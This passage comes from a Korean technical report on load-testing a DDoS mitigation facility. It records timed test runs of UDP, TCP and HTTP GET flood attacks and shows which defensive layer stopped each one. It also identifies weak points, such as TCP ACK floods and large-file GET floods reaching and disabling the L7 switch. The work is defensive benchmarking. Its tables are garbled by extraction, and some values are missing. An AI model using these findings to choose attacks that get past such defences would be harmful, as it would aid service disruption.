174 2차 X 3차 X 4차 O 5차 19:45~20: O 6차 O 7차 차 O 2. 측정 2 Set 측정 2 Set 은대역폭소진공격의측정으로최초 BreakingPoint 의최대 가용대역폭인 10Gbps 의공격시작후점차감소키면서측정하였다. [ 표 8-10] 측정 2 Set 수행경과 No. Time 1 차 11:15~ 11:20 2 차 11:25~ 11:30 3 차 11:37~ 11:42 4 차 11:48~ 11:53 5 차 12:06~ 12:10 Dura 정상PC접속 BreakingPoint tion 가능여부 5min 10G X T C P 5min A c k 5G X Flooding min Bytes 2G O 5min 3G X U D P 5min Flooding 10G O 비고 -Anti-DDoS장비에서해당공격극소수만차단함 -Invalid Port로소스포트 0번인패킷만차단함 -L7스위치의부하로 DoS유발 -Anti-DDoS장비에서해당공격극소수만차단함 -Invalid Port로소스포트 0번인패킷만차단함 -L7스위치의부하로 DoS유발 -Anti-DDoS장비에서해당공격미차단 -L7스위치에서해당공격방어 -Anti-DDoS장비에서해당공격극소수만차단함 -Invalid Port로소스포트 0번인패킷만차단함 -L7스위치의부하로 DoS유발 - Anti-DDoS에서모든 UDP Flooding 차단함

175 Bytes 3. 측정 3 Set 측정 3 Set은응용계층공격에대한한계용량측정이나최상단 L3 스위치의라우팅문제로정확한측정이이루어지지않았다. NetSpear의 Syn 패킷이 L7스위치까지전달되었지만 L7스위치의 Syn/Ack패킷이최상위 L3까지만전달되었으며측정 3Set의한계용량측정내용은측정 7Set에서다시측정되었다. [ 표 8-11] 측정 3 Set 수행경과 No. Time 1 차 13:37 ~13:42 Dura tion 5m NetSpear Get 봇5만대 Flooding 10만PP (Index.ht S ml) 정상PC접속가능여부 O 비고 -Anti-DDoS장비에서해당공격허용 -L7스위치에서해당공격을대응함 2 차 13:48~ 13:53 5m Get Flooding (1.jpg) 봇5만대 10만PP S O -Anti-DDoS장비에서해당공격허용 -L7스위치에서해당공격대응 3 차 13:58~ 14:03 5m CC-Attack (Index.ht ml) 봇5만대 10만PP S O -Anti-DDoS장비에서해당공격허용 -L7스위치에서해당공격대응 4 차 14:08~ 14:13 5m CC-Attack (1.jpg) 봇5만대 10만PP S O -Anti-DDoS장비에서해당공격허용 -L7스위치에서해당공격대응 5 차 14:16~ 14:21 5m Session Flooding 봇5만대 10만PP S O -Anti-DDoS장비에서해당공격허용 -L7스위치에서해당공격대응 6 차 14:16~ 14:21 5m Slowloris 봇5만대 10만PP S O -Anti-DDoS장비에서해당공격허용 -L7스위치에서해당공격대응

176 4. 측정 4 Set 측정 4 Set은 L7스위치의한계용량을측정하기한 Set으로 1단계필터링 Anti-DDoS장비를 Off 후진행하였으면일부 NetSpear로측정한 3차 4차측정은라우팅문제해결후추가로측정한 7 Set 2차측정과 8 Set 의측정으로대체되어진다. [ 표 8-12] 측정 4 Set 수행경과 No. Time Dura tion BreakingPoint NetSpear 정상PC접속가능여부 비고 1 차 15:11~ 15:16 2 차 15:19~ 15:24 5m 5G O -L7스위치에서해당공격을대응함 UDP Flooding 124Bytes 5m 10G O -L7스위치에서해당공격을대응함 3 차 15:28~ 15:33 5m Get Flooding (Index.ht ml) 봇5 만대 10만 PPS O -L7스위치에서해당공격을대응함 -최상단 L3스위치문제로미정확한측정임 -측정7Set의 2차측정으로해당내용을대체함 UDP 4 차 15:38~ 15:43 5m Flooding 124Bytes + Get Flooding( Index.ht ml) 9G + 1만대1 만 PPS -1.jpg사진이느리게불러옴 -최상단 L3스위치문제로미정확한측정임 -측정8Set의측정으로해당내용대체 5. 측정 5 Set

177 측정 5 Set 은 7.7 DDoS 와비슷한환경구성후대역폭소진공격과응 용계층공격에대한한계용량을측정하였으며 3 번의측정모두정상 PC 가웹서버에접속이가능하지못하였다. [ 표 8-13] 측정 5 Set 수행경과 No. Time Dura tion BreakingPoint NetSpear 정사PC접속가능여부 비고 UDP 124 Bytes 7G 1 차 16:14~ 16:24 10mi n Syn Flooding 74bytes 1.6G Fin Flooding 1.6G Get Flooding - X - 패킷분석필요 CC-attack - UDP 124 Bytes 6G 2 차 16:35~ 16:40 5min Syn Flooding 74bytes 1.6G Fin Flooding 1.6G Get Flooding - X - 패킷분석필요 CC-attack - Syn Flooding 74bytes 1.6G 3 차 16:43~ 16:48 5min Fin Flooding 1.6G Get Flooding - X - BP의 UDP Flooding 제외 CC-attack - 6. 측정 6 Set 측정 6 Set 은측정 2 Set 의대역폭소진공격을추가로 NetSpear 를이용 하여측정하였다. 측정수행내용은아래표와같다. [ 표 8-14] 측정 6 Set 수행경과 No. Time Dura tion NetSpear 정상PC접속가능여부 비고

178 1 차 16:57~ 17:02 5m ICMP fragmentation ( 표준Bytes) 2.4G O - Anti-DDoS 차단함 2 차 17:05~ 17:10 5m TCP FIN Flooding 2.4G O -Anti-DDoS 차단함 (Invalid packet으로차단됨 ) 3 차 17:23~ 17:28 5m TCP Syn Flooding 74Bytes 1.8G -Anti-DDoS 일부허용함 -해당공격을 L7스위치에서차단함 7. 측정 7 Set 측정 7 Set은최상단 L3스위치의라우팅문제로정확히측정되지않은측정 3 Set을대체하기위해추가측정되었다. 응용계층공격에대한한계용량은측정분석은측정 3Set이아닌측정 7 Set의 PCAP파일로분석되었다. [ 표 8-15] 측정 7 Set 수행경과 No. Time Dura tion NetSpear 정상PC접속가능여부 비고 1 차 18:48~ 18:53 5m Session Flooding 봇5만대 5만PPS O -주기적으로 TCP Stack의 Rst 전달 2 차 18:58: ~19:03 5m Get Flooding (Index.html) 봇5만대 5만PPS -ToA 부하발생 -L7 스위치 CPU100% 부하로 3 차 19:06: ~19:08 2m Get Flooding (1.jpg) 봇5만대 5만PPS X DoS유발 -L3과부하유발 -L7스위치의과부하로측정조기종료

179 4 차 19:16~ 19:21 5m CC-Attack (Index.html) 봇5만대 5만PPS -공격종료후 QoS장애발생 -ToA 부하발생 5 차 19:45~ 19:50 5m CC-Attack (1.jpg) 봇5만대 5만PPS X -QoS 망절체후진행 8. 측정 8 Set 측정 8 Set 은측정 4 Set 의 3 차혼합공격을대체하기위해 1 회추가 측정되었다. [ 표 8-16] 측정 8 Set 수행경과 No. Time 1 차 19:59~ 20:04 Dura tion 5m BreakingPoint NetSpear UDP Flooding 8G 124Bytes + + 5만대 Get 5만 Flooding(Index. PPS html) 정상PC접속가능여부 비고 - 측정 4 Set의혼합공격대체를위한측정 제 6 절한계용량측정수행결과 DDoS 사이버대피소의한계용량측정은먼저정상 PC 의웹서버접속 가능여부를확인하고정상 PC 와 ToA 의통신간에생성된패킷을아래 그림과같이확인후공격트래픽과비교 진행하였다

180 ( 그림 8-11) 접속시험패킷샘플 ( 그림 8-12) 접속시험패킷내용 1. summary 가. 대역폭소진공격 o 측정 Set : 2 Set, 6 Set o 측정회수 : 8회 o 공격명 - TCP Ack Flooding 124 bytes - UDP Flooding 124 bytes - ICMP Fragmentation 74 bytes - TCP Fin Flooding 74 bytes - TCP Syn Flooding 74 bytes

181 ( 그림 8-13) 대역폭소진공격에대한결과개요 o 결과요약 - 대부분의공격은 1단계필터링인 Anti-DDoS장비에서차단되었으나 TCP Ack Flooding의경우정상트래픽으로구별되어 3단계대응시스템인 L7스위치까지유입되어시스템이마비됨 나. 응용계층공격 o 측정 Set : 3 Set, 7 Set o 측정회수 : 11회 o 공격명 - Session Flooding - Get Flooding - CC-Attack o 결과요약 - 연결공격에대한한계용량이약 500Mbps로도출됨

182 ( 그림 8-14) 응용계층공격에대한결과개요 다. 혼합공격 o 측정 Set : 5 Set o 측정회수 : 3회 o 공격명 - UDP Flooding 124 bytes - TCP Syn Flooding 74 bytes - TCP Fin Flooding 74 bytes - Get Flooding - CC-Attack o 결과요약 - 비연결성플러딩공격은상단의 DDoS 차단장비에서모드대응하였으나 TCP 공격의경우 L7 스위치까지전달되었으며 Get Flooding은세션 1,000개당 1개만연결됨

183 라. L7 스위치부하측정 o 측정 Set : 4 Set 8 Set o 측정회수 : 5회 o 공격명 - UDP Flooding 124 bytes - Get Flooding o 결과요약 - 응용계층의결과와같은결과가도출됨 ( 그림 8-15) L7 스위치부하측정에대한결과개요 마. QoS IP 평판적용가능여부측정 o 측정 Set : 1 Set o 측정회수 : 8 회 o 공격명

184 - Get Flooding o 결과요약 - QoS의대역폭최소보장정책기능을적용하여 IP평판정책등 IP 기반의정책사용가능여부확인을위한측정임. 우선순위 IP평판을가진 IP군에대하여 10Mbps의최소보장대역폭을보장하였고 QoS 대역폭최소보장정책에의해플러딩공격중정상PC가웹서비스에접속가능하였음 2. DDoS 사이버대피소한계용량측정에대한주요결과 DDoS 공격이진화함에따라가장빈번하게발생하고측정하기어려 운연결성공격중심으로사이버대피소의한계용량분석을아래와같이 분석하였다. 가. Session Flooding (TCP 연결공격 ) ( 그림 8-16) Session Flooding 분석결과 Overview RST Burst 가발생하는것은 ( 아래그림에서검은색면그래프부분 )

185 한계용량시험장치에서발생한세션패킷이위의그림에서나타난것과같이스스로세션을종료 (FIN 패킷발송 ) 하지않아누적된세션에대한일괄적인종료현상발생한것으로보인다. 이러한현상은부하발생장치에서생성된세션수가 50,000개를넘어설때발생하며따라서 L7 스위치의정상세션처리용량은 50,000 SPS로볼수있다. 이때특이사항은세션처리장치에서 RST Burst 현상이발생한다고해도전반적패킷처리능력에저하는발생하지않으며 RESET 패킷전송을통한세션의강제종료로해당세션의 TCP Roundtrip 시간이줄어드는현상이발생하는것을알수있다. 이는클라이언트에서요청된컨텐츠가모두메모리 ( 캐시 ) 에저장되어있어프로세싱에필요한 CPU의소모가최소화되어페이지제공을위한오버헤드가발생하지않은것으로볼수있다

186 ( 그림 8-17) Session Flooding 공격시정상 PC 의웹접속 RTT ( 그림 8-18) Session Flooding 연결정보 나. Index.html 파일에대한 50,000PPS 의 Get-Flooding (CC-Attack) 공격

187 ( 그림 8-19) Get-Flooding, CC-Attack 시결과값 Overview o L7 스위치의세션연결가용성을증가시키기위해 RST 세션종료현상발생 ( 하단검정색영역형그래프 ) o 시험장비는대략 50,000 PPS(46,468) 의 SYN 패킷생성함 o L7 스위치에서대량의재전송패킷발생 ( 보라색라인그래프 ) o L7 스위치는 99.3% 의응답률을보임 o 약 40,000 PPS(38,168) 의정상종료 (FIN) 세션발생 o L7스위치는모든 HTTP Request를 1초 (0.005초) 이내처리함

188 o HTTP 세션에대한지속적으로정상처리됨 o 연결시험세션역시모두정상적으로처리됨 o CC-ATTACK과일반 GET Flooding 공격시서버에서양공격의차이점이발생하지않음 o 테스트세션중한세션은 2초나머지두세션은 4초대의응답시간을보이나평균응답시간은약 0.005초로나타남 o 클라이언트요청시 L7 캐시메모리에서처리되는작은크기의파일의경우약 50,000 PPS의세션요청에안정적인응답성능을보임 [ 표 8-17] Get Flooding(index.html) 정상PC의웹서버접속 RTT 및 연결정보 Time spkt dpkt Sbyte dbytes Kdbytes TCP RTT 18:58: sseffr :58: sseffr :58: sseff :58: sseffr :58: sseffr :58: sseff :58: sseffr :58: sseffr :58: sseff :59: sseff :59: sseff :59: sseff :58: sseffr :58: sseffr :58: sseff :58: sseffr :58: sseffr :58: sseff :58: sseff

189 18:58: sseffr :59: sser :58: sseffr :59: sseff :59: sseff :59: sseff :02: sser :02: sseff :02: sseff :02: sseff :02: sseff :02: sser :02: sseff :02: sseff :02: sseff :02: sseff :02: sseff :02: sseff :02: sseffr :02: sseff :02: sseffr :02: sseffr :03: sseffr :03: sseffr :02: sseff :02: sseffr :03: sseff :03: sseffr :03: sseffr :02: sseffr :03: sseffr :03: sseff :03: sseffr :03: sseffr

190 19:03: sseffr :03: sseffr :03: sseffr :03: sser :03: sseffr :03: sseffr :03: sseff :03: sseffr :03: sseffr :03: sseffr :03: sseffr :02: sseff :03: sseff :03: sseffr :03: sseffr :02: sseffr :02: sseffr :02: sseff :03: sseffr :02: sseffr :02: sseffr :03: sseff :03: sseffr :03: sseffr :03: sseffr :03: sseffr :03: sseff :03: sseffr :03: sseffr :03: sseff :03: sseffr :03: sseffr

191 다. 1.jpg 그림파일에대한 50,000PPS 의 Get-Flooding (CC-Attack) 공격 ( 그림 8-20) 그림파일 (1.jpg) 요청에대한 Get Flooding 공격시한계용량 o 그림파일에대한 Get Flooding 공격시작약 4초만에 L7 스위치의가용성을완전히상실함 o 4초간의동작시간에도 SYN 패킷대비 HTTP 응답율이 30% 대로하락함 ( 평균 50%) o Get Flooding 공격시수행된동작검사세션은모두응답되지않음 o 서비스파일의사이즈가증가함에따라 HTTP 가용성은급격히하락함

192 ( 그림 8-21) 그림파일요청에대한 CC-Attack 공격시한계용량 o 동일공격에 Cache-control 헤더를추가한공격진행시 HTTP 가용성은단순 Flooding 공격시보다증가하나정상적인서비스가불가능하였음 o TCP 세션연결가용성역시급격히하락되어발생한 SYN 패킷에대한응답이모두이루어지지않음 o 간헐적가용성회복이이루어지나공격 3분 30초만에모든 HTTP 가용성이상실됨 o 급격하고비정규적인가용성저하로해당환경에서의정확한한계용량측정이가능하지않음 라. QoS IP 평판적용을위한 ToA 한계용량측정 낮은 PPS의연결시도세션에대한가용성시험결과초당 80PPS의연결시도발생시까지거의모든세션이정상종료 (FIN) 되었다. 초당 100PPS의연결시도시모든세션은정상처리되나 RST 패킷이발생되기시작하는것을알수있다

193 ( 그림 8-22) ToA 에대한세션가용성시험결과 Overview 1 ( 그림 8-23) ToA 에대한세션가용성시험결과 Overview 2 연결수가증가함에따라 HTTP 가용성이가장급격하게하락함 100 PPS까지 100% 의가용성이보이며 PPS 가증가함에따라 50,000PPS 에서대략절반수준 (54%) 까지하락함이러한경우어플리케이션수준에서접속을시도하는사용자 ( 브라우저 ) 네트워크하부레이어에서발생하는 TCP retransmission 기재를통해평균접속시간의 2~3배정도의접속시간저하를경험할수있다. 이는최소한의부하가발생하는 "It Works" 홈페이지를기준으로한것으로접속페이지의처리부하가증가함에따라해당환경에서의가용성은급격히낮아질수있다

194 본시험에서는 DDoS 대응의한계용량보다는대응장비의한계용량을측정하였다. 이러한측정방법은실장비의성능을측정하기위해반드시필요한작업이지만사용된측정장비와사용자환경에서의상이한반응으로실재 DDoS 공격시사용자가느끼는웹사이트반응속도와는판이하게다른결과를가져올수있다. [ 표 8-18] ToA 의 TCP 서비스별한계용량 SYN PPS TCP Capacity HTTP Capacity Normal Fin Capacity % 99.7% 100% % 100% 75.0% % 73.9% 38.2% % 54.4% 78.0% 연결수가증가함에따라 HTTP 가용성이가장급격하게하락함 100 PPS까지 100% 의가용성이보이며 PPS 가증가함에따라 50,000PPS 에서대략절반수준 (54%) 까지하락함이러한경우어플리케이션수준에서접속을시도하는사용자 ( 브라우저 ) 네트워크하부레이어에서발생하는 TCP Retransmission 기재를통해평균접속시간의 2~3배정도의접속시간저하를경험할수있다. 이는최소한의부하가발생하는 "It Works" 홈페이지를기준으로한것으로접속페이지의처리부하가증가함에따라해당환경에서의가용성은급격히낮아질수있다. 본시험에서는 DDoS 대응의한계용량보다는대응장비의한계용량을측정하였다. 이러한측정방법은실장비의성능을측정하기위해반드시

195 필요한작업이지만사용된측정장비와사용자환경에서의상이한반응으로실재 DDoS 공격시사용자가느끼는웹사이트반응속도와는판이하게다른결과를가져올수있다. 이러한사실은공격진행중 ToA의가용성을확인하기위해브라우저를통해진행된접속시험에서의반응시간과시험장비에서생성된세션에서의반응시간이확연히차이가나는것에서확인될수있다. DDoS 한계용량측정시사용되는계측기는일반적으로 TCP 및 HTTP 프로토콜규약을모두만족시키지않는다. 따라서보다정확한사용자경험환경 (User Experience) 을시뮬레이션하기위해서는최소계측기발생 PPS의 1% 이상의정상트래픽을생성시킨뒤해당트래픽의분석을통해실사용자관점에서의 DDoS 한계용량측정시험이진행될수있다. [ 표 8-19] ToA 한계용량측정시정상 PC 의접속확인연결테이블 time spkt dpkt sbytes dbytes status duration 19:51: sser :51: sseffr :51: sse :54: sseffr :54: sseffr :55: sseffr :55: sseffr :55: sseffr :55: sseffr :57: sseffr :57: sseffr :58: sseffr :58: sseffr :58: sseffr :58: sseffr :59: sseffr

196 19:59: sser :59: sseffr :00: sseffr :00: sseffr :01: sser :01: sser :01: sser :02: sseffr :02: sseffr :02: sseffr :02: sseffr :02: sseffr :04: sseffr :04: sseffr :05: sseffr :05: sseffr :06: sseffr :06: sseffr 마. ToA 직접공격시웹서버가용성에대한 Overview ( 그림 8-24) ToA 에대한세션가용성시험결과분석

197 QoS를통한 DDoS 대응은크게 ToA 한계용량설정과공격IP에대한 Throttling으로나누어진다. 본시험 Set에서는장비의가용성측정에중점을두어공격 IP에대한선택적 BW 조절을시행하지않았으며그결과공격세션의증가에따라발생하는 TCP 및 HTTP의가용성변화가나타났다. 바. 대역폭소진공격 ( 그림 8-25) TCP Ack Flooding BPS, PPS TCP ACK Flooding은 UDP 및 ICMP 플러딩공격에비교시차별적인대응지점과대응장비가도출되어진다. 일반비연결성플러딩의경우네트워크최상단에서차단을원칙으로하나 TCP ACK 플러딩의경우 TCP 연결상태를기억하지못하는장비는이를차단하지못하며상태기억방화벽 (Stateful FW) 이존재하지않는경우어플리케이션수준의장비까지직접전달되어진다. 본시험에서 TCP ACK Flooding 패킷은 L7 까지직접전달되었으며해당서버는장비의가용성은유지하였으나 (Failure가발생하지않음 ) 웹브라우저를사용한웹서버동작시험시정상적인 HTTP 수준서비스의가용성을유지하지못하였다. 패킷유실로

198 인해플로우정보를추가확인할필요성이있다. 사. 혼합공격 ( 그림 8-26) TCP Ack Flooding BPS, PPS TCP Protocol Flooding은 UDP 및 ICMP 플러딩공격에비교시차별적인대응지점과대응장비가도출되어진다. 일반비연결성플러딩의경우네트워크최상단에서차단을원칙으로하나 TCP 플러딩의경우 TCP 연결상태를기억하지못하는장비는이를차단하지못하며상태기억방화벽 (Stateful FW) 이존재하지않는경우어플리케이션수준의장비까지직접전달되어진다. 본시험에서 TCP Flooding 패킷은 L7 스위치까지직접전달되었으며해당서버는장비의가용성은유지하였으나 (Failure가발생하지않음 ) 평균 1,000개의접속시도중한개의 HTTP 접속을허용하는극히낮은수준서비스의가용성을유지하였다. 제 7 절 DDoS 사이버대피소한계용량측정개선기회 1. DDoS 한계용량측정총평